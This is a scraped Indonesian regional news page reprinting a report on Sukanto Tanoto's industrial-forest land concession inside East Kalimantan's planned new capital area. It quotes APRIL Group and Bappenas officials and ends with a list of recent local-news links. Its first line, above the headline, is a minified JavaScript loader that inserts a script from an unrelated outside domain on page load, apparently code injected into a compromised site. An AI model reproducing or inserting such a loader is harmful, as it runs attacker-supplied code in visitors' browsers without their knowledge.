(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Ini Kata Sukanto Tanoto Soal Konsesi Lahan di Ibukota Baru


JAKARTA, Konglomerat Sukanto Tanoto mengakui memegang konsesi lahan berstatus Hutan Tanaman Industri (HTI) di kawasan calon ibu kota baru di Kalimantan Timur. Diketahui, kawasan baru ibu kota terdapat di Kecamatan Samboja, Kabupaten Kutai Kartanegara dan Kecamatan Sepaku Semoi, Kabupaten Penajam Paser Utara, Kalimantan Timur.

Hal ini disampaikan oleh Corporate Affairs Director APRIL Group Agung Laksamana ketika dikonfirmasi CNNIndonesia.com. Menurutnya, lahan yang rencananya akan digunakan untuk pembangunan ibu kota baru berada di area PT ITCI Hutabi Manunggal (IHM). “Lahan itu merupakan mitra pemasok strategis dengan kontribusi signifikan bagi PT Riau Andalan Pulp and Paper (RAPP),” ujar Agung melalui surat elektronik, Rabu (18/9) kepada cnnindonesia.com.

Dia mengatakan bahwa perusahaan tentu mendukung rencana pemerintah untuk membangun ibu kota baru. Meski demikian, rencana ini membuat perusahaan harus mengembalikan konsesi lahan dan mempengaruhi kegiatan operasional perusahaan ke depan. “Tentu saja rencana pemerintah ini akan berpengaruh bagi kegiatan operasional, namun, kami percaya pemerintah akan memberikan pertimbangan dan solusi dalam hal ini,” katanya.

Menteri Perencanaan Pembangunan Nasional sekaligus Kepala Bappenas Bambang P.S. Brodjonegoro turut mengakui bahwa lahan yang akan digunakan untuk pembangunan ibu kota baru di Kalimantan Timur merupakan lahan konsesi berstatus HTI milik Sukanto Tanoto.

Sukanto Tanoto memegang lahan tersebut melalui PT ITCI. Sukanto sendiri merupakan taipan Indonesia yang memiliki usaha di industri manufaktur di bawah bendera Royal Golden Eagle International (RGEI). “Itu konsesi, bukan kepemilikan, HTI oleh PT ITCI milik Tanoto,” ungkap Bambang kepada CNNIndonesia.com.

Kendati Tanoto memegang konsesi lahan, namun mantan menteri keuangan Kabinet Kerja itu memastikan bahwa pemerintah bisa kapan saja mengambil kepemilikan lahan tersebut. Sebab, lahan itu sejatinya milik negara.

Hanya saja, pemerintah memberikan konsesi lahan dengan status HTI kepada pihak-pihak tertentu, termasuk pengusaha seperti Sukanto Tanoto. Namun, ketika lahan tersebut dibutuhkan, maka pemerintah bisa mengambilalih penggunaan lahan dari Sukanto Tanoto.(uli/asa)

Reporter : uli/asa
Editor : Cnni

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.